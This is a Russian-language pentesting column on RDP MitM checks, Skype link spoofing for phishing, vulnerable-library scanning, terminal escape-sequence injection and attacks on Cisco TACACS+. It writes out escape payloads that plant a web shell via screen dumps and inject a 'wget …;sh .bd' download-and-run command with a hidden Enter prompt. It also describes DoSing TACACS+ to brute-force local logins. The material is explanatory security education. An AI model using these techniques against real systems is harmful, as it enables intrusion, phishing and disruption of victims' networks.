Как проверить RDP сервисы

RDP — это Remote Desktop Protocol, специальный протокол для удалённого доступа, который поддерживают все современные ОС семейства Windows. Это один из основных протоколов для удалённого доступа в корпоративных сетях, и потому он всегда был интересной целью для атак.

При этом, более ранние версии протокола имели уязвимости, и можно было провести MitM атаку. Сейчас с настройками по умолчанию такой проблемы нет, но из-за того, что в корпоративных сетях обычно используется целый зоопарк операционных систем (и старых, и новых), каждая из которых поддерживает разные версии протокола RDP — их частичная несовместимость между собой рождает нужду менять настройки, ослабляя защиту.

При наличии в конфигурации определённых ошибок мы можем провести MitM-атаку на RDP современных версий. Как выявить такую уязвимость? Одного только знания версии ОС не хватит. Нам здесь поможет скрипт, разработанный в Portcullis Labs.

Скрипт на Perl подключается по очереди к серверам (порт 3389) и запрашивает поддерживаемые настройки подключения, на основании чего и выводит предположение об уязвимости RDP-сервиса к той или иной атаке. Аутентификация не требуется. То, что нужно для пентестов!

 

Как провести фишинг, используя Skype

Skype сейчас стал одним из самых популярных средств общения в бизнес-среде. В итоге многим сотрудникам компаний приходится общаться с «анонимными» людьми из Интернета. Это открывает ещё один вектор для проведения атак с использованием социальной инженерии.

У Skypе есть одна особенность: когда мы вводим URL сайта (к примеру, http://server.com), он преобразует ее в ссылку, и именно в таком виде она показывается собеседнику. При этом в силу внешней «солидности» Скайпа он пользуется большим доверием, нежели почта или другие мессенджеры. Многие думают, что скрыть за ссылкой адрес другого сайта невозможно, однако это не так.

На эту тему была небольшая заметка, которая рассказывает, как это сделать. Всё, что нам требуется — воспользоваться официальной веб-версией Skype, которая сейчас проходит бета-тестирование.

Если отправить через нее ссылку http://google.com/zzzz, то на сервер (на домене client-s.gateway.messenger.live.com) посылается запрос классического вида <a href=\"http://google.com/zzzz\">http://google.com/zzzz</a>. И здесь мы можем изменить значение href на интересующее нас. В итоге измененная ссылка попадет в Skype жертвы.

Подменяем значение в запросе
Подменяем значение в запросе

Кроме обычных схем типа http, можно использовать и специфичные для скайпа (skype:). Однако если жертва наведет курсор мыши на поддельную ссылку и подождет подсказки, то увидит настоящий путь.

А вот куда ведет ссылка
А вот куда ведет ссылка
 

Как получить список уязвимых библиотек

Недавно в хит-парад уязвимостей OWASP добавился новый пункт «A9 — Using Components with Known Vulnerabilities», то есть использование в ПО каких-то сторонних компонентов или библиотек с известными уязвимостями.

Сейчас это большая проблема. Мой опыт пентестов показывает, что многие крупные системы рушатся из-за уязвимостей компонентах «третьей стороны». Типичный пример: серверы ESX VMware используют уязвимую к HeartBleed версию библиотеки OpenSSL. Конечно, современные версии уже не уязвимы, но из-за того, что разработчики VMware часто натыкались на грабли с уязвимыми компонентами, они стараются использовать последние версии дополнительного ПО. Потому они и перешли на первую ветку OpenSSL, и потому же было выпущено много серверов ESX с уязвимой библиотекой. Но из-за трудностей обновления ESX в корпоративных сетях до сих пор полно уязвимых серверов. VMware обвинять не стоит: всякое случается, и где только не находят уязвимости. А мы, пентестеры, просто пользуемся этим ^_^

Есть и вендоры, которые в свое новое ПО суют старые библиотеки с известными уязвимостями. Почему бы им не использовать новые библиотеки? Вряд ли кто-то ответит.

Забавный пример можно привести про RomPager, веб-сервером для встраиваемых систем. Он очень распространён: SOHO-роутеры, МФУ, всякие другие штуки (где-то видел RomPager на девайсе для контроля доступа в здание). В прошлом году в нем было найдено несколько уязвимостей, при том что уязвимости эти были исправлены ещё 2005 году! Почему-то все вендоры до сих пор используют именно старую, уязвимую версию RomPager 2002 года.

Задача выявления таких проблем не особенно трудна. Часто получить список библиотек или других компонентов можно даже для закрытого ПО. Анализ имен библиотек (или даже хеш-сумм компонентов) и различных файлов с манифестами дает неплохие результаты, по которым можно производить поиск. Для этого существует масса самопальных скриптов.

В первую очередь достоин упоминания проект самого OWASP — OWASP Dependency-Check. Сейчас он поддерживает .NET, Java и Python. Есть как отдельная консольная утилита, так и версии для Ant, Maven и Jenkins. OWASP Dependency-Check разными способами пытается распознать версии компонентов, найти их в Common Platform Enumeration и по нему уже искать информацию об уязвимостях (CVE). Конечно, ложные срабатывания и упущения свойственны и этой тулзе, но, тем не менее, она неплохо подходит на роль основной.

 

Атакуем терминал через escape sequence injection

Ещё одна древняя, но интересная атака дошла до нашей рубрики. Речь об Escape sequence injection — инъекциях управляющих последовательностей (они же — эскейп-последовательности). Если у тебя в голове всплыли воспоминания об эскейп-последовательностях из какого-нибудь языка программирования — это тоже неплохо, хотя и не совсем то же самое.

Начнём с мини-экскурса в историю. Когда-то давно (в 70х-80х) для работы с компьютером использовались терминалы. Терминал — это устройство ввода-вывода, в котором, считай, почти ничего нет, кроме платы с контроллером, монитора и клавиатуры. Тем или иным способом терминалы подключались к компьютеру. Никаких операций на них не производилось, но важно понимать, что терминал — это всё же не монитор, в поздние терминалы даже устанавливались микропроцессоры.

Терминал vt100
Терминал vt100

Для того чтобы терминалу можно было указать, как отображать данные, были придуманы управляющие последовательности. Простейший пример — изменение цвета символов или фона, а также перемещение курсора. Так как канал связи был один, сами данные и команды по управлению терминалом (эскейп-последовательности) передавались одним потоком. И как раз по символу esc (0x1B в ASCII) терминал мог понять, что далее идет команда. Сам набор последовательностей был стандартизирован.

Несмотря на количество прошедших лет, идейно тут ничего не изменилось, просто теперь вместо железного терминала в *nix-системах появились tty (от слова «телетайп» — именно их использовали в качестве первых терминалов). Это эмулятор терминала. За основу чаще всего берется терминал DEC vt100. Кроме того, в каждой графической среде есть свой терминал: xterm, gnome-terminal, konsole в KDE и так далее. К ним же относится и PuTTY, у которого есть версия для Windows. Все они поддерживают эскейп-последовательности.

Сами эскейп-последовательности бывают двух видов. Оба вида начинаются с символа esc (\e), а дальше идет символ для указания команды. Есть ещё последовательности с параметрами (одним или двумя), которые начинаются с символов \e[ или \e]. Общий вид для них примерно такой:

\e[параметр1;параметр2;команда

Простейший способ опробовать эту фичу — при помощи команды echo с параметром –e, который разрешает использование эскейп-последовательностей:

echo -e "asdasdsad \e[00;35mzzzzzzzz \e[00;31mRED"

Сначала мы указываем розовый цвет, а потом красный. Заметь (см. скришот), что эскейп-последовательность влияет и на весь последующий вывод в консоли.

Пример использования управляющей последовательности
Пример использования управляющей последовательности

Важно, что это именно фича терминала, а не шелла. В подтверждение этого сохраним вывод из echo в файл и выведем его в терминал при помощи cat. На следующем скриншоте ты можешь увидеть, что результат аналогичный.

Пример последовательности с cat
Пример последовательности с cat

И наконец, мы приходим к концепту атаки. Мы, как атакующие, можем повлиять на терминал нашей жертвы, если можем писать в какой-то файл, который впоследствии будет выведен жертвой в терминале.

Самих последовательностей очень много, к тому же, несмотря на стандарт, бывают отличия в командах и их параметрах для различных терминалов. Среди них есть очень коварные возможности. В исследовании за 2003 год приводятся два дельных примера.

Если терминал поддерживает выгрузку экранного буфера в файл, то мы можем получить RCE в ОС. Мы должны вставить следующую последовательность:

\ecany_text_here\n\e]55;/path/to/any_file\a

где \ec — esc-символ, а c указывает эмулятору терминала полностью очистить экран. Дальше идет any_text_here\n — любые наши данные, которые будут выведены на экран. Переносы строк разрешены. e]55;/path/to/any_file\a – команда, по которой терминал должен сохранить всё, что отображено на экране (то есть наш текст any_text_here\n) в файл по произвольному пути. Так мы можем написать минишел на PHP и, например, и пихнуть его в директорию веб-сервера.

Работала эта атака для эмуляторов ETerm и rxvt. Последний вроде как до сих пор уязвим.

Следующему примеру подвержено большинство терминалов, включая xterm и PuTTY. Но атака эта — с элементом социальной инженерии. Основывается она на том, что с помощью управляющей последовательности мы можем поменять заголовок (title) у терминала, и что важнее – вывести его значение:

\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;

где \e]2 — код для смены заголовка эмулятора. Туда мы в качестве параметра кладем нашу боевую нагрузку ;wget 127.0.0.1/.bd;sh .bd;exit;\a: она скачивает шелл-скрипт с внешнего ресурса и запускает его. Последовательность \e[21t заставляет вывести в консоль значение заголовка. Это значение становится следующей командой для консоли, как будто администратор сам ввёл её.

Но есть серьезная проблема: используя эскейп-последовательности, мы не можем запустить введенную команду. Нужна уловка, которая заставит администратора нажать на Enter самостоятельно. Вот неплохой вариант действий: мы возвращаем прежнее значение заголовка терминала (\e]2;xterm\a), а после выводим значение Press Enter> и скрываем приветствие от консоли и выведенную ранее команду с пейлоадом с помощью последовательности >\e[8m;.

Таким образом, администратор видит только просьбу нажать Enter, а ввод каких-то команд с клавиатуры ему не отображается.

Пример смены заголовка в xterm
Пример смены заголовка в xterm

Я попробовал эту атаку на нескольких современных терминалах, и вторая стадия – с выводом значения заголовка в консоль — не работает. Несмотря на это, возможность заметно влиять на отображение строк в консоли кажется мне интересной. В дополнение к каким-то другим атакам это может пригодиться.

Последний важный момент: как подсунуть нашу управляющую последовательность в какой-то файл админа, не имея доступа в ОС? Типовое решение — лог-файлы. Админы их достаточно часто смотрят, используя типовые тулзы. Достаточно часто мы можем повлиять на содержимое логов удалённо: например, не так давно (в CVE 2013 года) рассказывалось об уязвимости в Apache, с помощью которой можно было специальным запросом заинжектить свою эскейп-последовательность в лог ошибок. Аналогичные проблемы были найдены относительно недавно в веб-сервах Jetty и Webrick.

 

Атакуем Cisco c Tacacs+

За безумным словосочетанием Terminal Access Controller Access-Control System Plus (TACACS+) скрывается специальный протокол Cisco для AAA (authentication, authorization and accounting). Проще говоря, это протокол для централизованного управления доступом — чаще всего доступом именно к оборудованию Cisco, но не только к нему. Кстати, роутеры, свитчи и другие девайсы Cisco поддерживают еще и протокол RADIUS, но нас в на этот раз интересует именно Tacacs+.

Обычно поднимается один-два сервера с сервисом Tacacs+ (49/TCP) и на всех девайсах настраивается их использование. Когда кто-то хочет аутентифицироваться на свиче, его креды со свича передаются на сервер Tacacs+, где проходит проверка и принимается решение о разрешении доступа.

Это удобное и централизованное решение с поддержкой логирования доступа. На серверной стороне можно прикрутить другую централизацию доступа — что-нибудь вроде AD или LDAP. К тому же есть опенсорсные реализации сервера — в Cisco когда-то решили официально опубликовать код.

С точки зрения безопасности протокол далек от идеала (ведь он был спроектирован в 1993 году), но критичных проблем у него нет. Данные передаются либо плейнтекстом, либо можно включить шифрование (что и является, насколько мне известно, стандартом). Организуется шифрование на основе PSK (PreShared Key), то есть администратор сам указывает один ключ на сервере Tacacs+ и всех подключающихся к нему устройствах. Шифруются только пользовательские данные, заголовки Tacacs+ не шифруется.

Само шифрование происходит следующим образом. При помощи XOR данные пакета объединяются с последовательностью хешей MD5, которая называется pseudo_pad:

pseudo_pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]}

Хеши MD5 генерируются на основании данных из заголовков пакетов Tacacs+, к которым добавляется PSK и предыдущий хеш:

MD5_1 = MD5{session_id, key, version, seq_no}
MD5_2 = MD5{session_id, key, version, seq_no, MD5_1}
...
MD5_n = MD5{session_id, key, version, seq_no, MD5_n-1}

где session_id — случайный идентификатор сессии, version — версия протокола, seq_no – инкрементируемый номер пакета, а key – PSK.

В 2000 году Solar Designer провел интересное исследование протокола, в котором была обнаружена возможность replay-атак, раскрытия длины пароля пользователя (из-за отсутствия padding) и кое-что ещё. Но данные атаки до практического использования не дотягивают (готовых тулз точно нет).

Что же мы можем сделать как пентестеры? Во-первых, мы можем провести MitM атаку и проснифить подключение от устройства Cisco к серверу Tacacs+. Далее нам понадобится локально брутфорсить трафик, а точнее — перебирать различные варианты PSK. С одной стороны, с нынешними мощностями MD5 – это очень быстро, с другой — брутфорс Tacacs+ не включен не в одну известную мне утилиту.

Но попробовать кое-что всё же можно. Во-первых, есть тулза Loki. Это некий комбайн для атак на L3-протоколы. Признаюсь, обнаружил я ее только недавно, но с виду она работает хорошо и умеет делать ряд интересных штук. Вездесущий Wireshark тоже позволяет расшифровать трафик Tacacs+ при имеющемся ключе (Edit -> Preferences -> Protocol -> Tacacs).

Кроме атаки, связанной с брутфорсом и перехватом трафика, есть ещё две вещи, о которых стоит рассказать. Представим себе, что с сервером Tacacs+ что-то произошло, и он не доступен для устройства Cisco, но админу может понадобиться залогиниться на этот девайс. Для таких целей устройства Cisco поддерживают разные способы аутентификации, которые администратор должен указать при настройке.

Классическая конфигурация аутентификации для Cisco c Tacacs+ выглядит следующим образом:

aaa authentication login default group Tacacs+ local

Нам здесь важны последние два слова, которые указывают, что сначала аутентификация будет проверена с помощью Tacacs+, а после — в локальной базе юзеров. Причём, если юзер не найден в Tacacs+, то он не будет проверяться локально.

В этом случае немаловажен человеческий фактор. Если администратор понадеется на Tacacs+, в локальной базе он может выставить менее секьюрные логины и пароли, и этим легко воспользоваться.

Мы можем попытаться тем или иным способом заблокировать доступ от девайся Cisco к серверу Tacacs+. В результате устройство будет использовать локальную базу учеток, и перебирать пароли мы будем в ней (через Telnet или SSH). Например, мы можем использовать какую-нибудь MitM-атаку или DoS-атаку на сам сервис Tacacs+. Во втором случае мы просто создадим большое количество подключений, отчего сервис не сможет получать новые. Этот способ не был мною протестирован, но с другими TCP-сервисами работает отлично.

Плюс в том, что наш брут скорее всего не будет зафиксирован в логах. Но есть и минус: другие девайсы Cisco тоже не смогут работать с Tacacs+, что должно вызвать беспокойство у администраторов. Также у этой атаки есть и второй недостаток: очень часто серверы Tacacs+ располагаются в VLAN, которые доступны только для администраторов и сетевого оборудования — это рекомендации Cisco.

Спасибо за внимание и успешных познаний нового!

Оставить мнение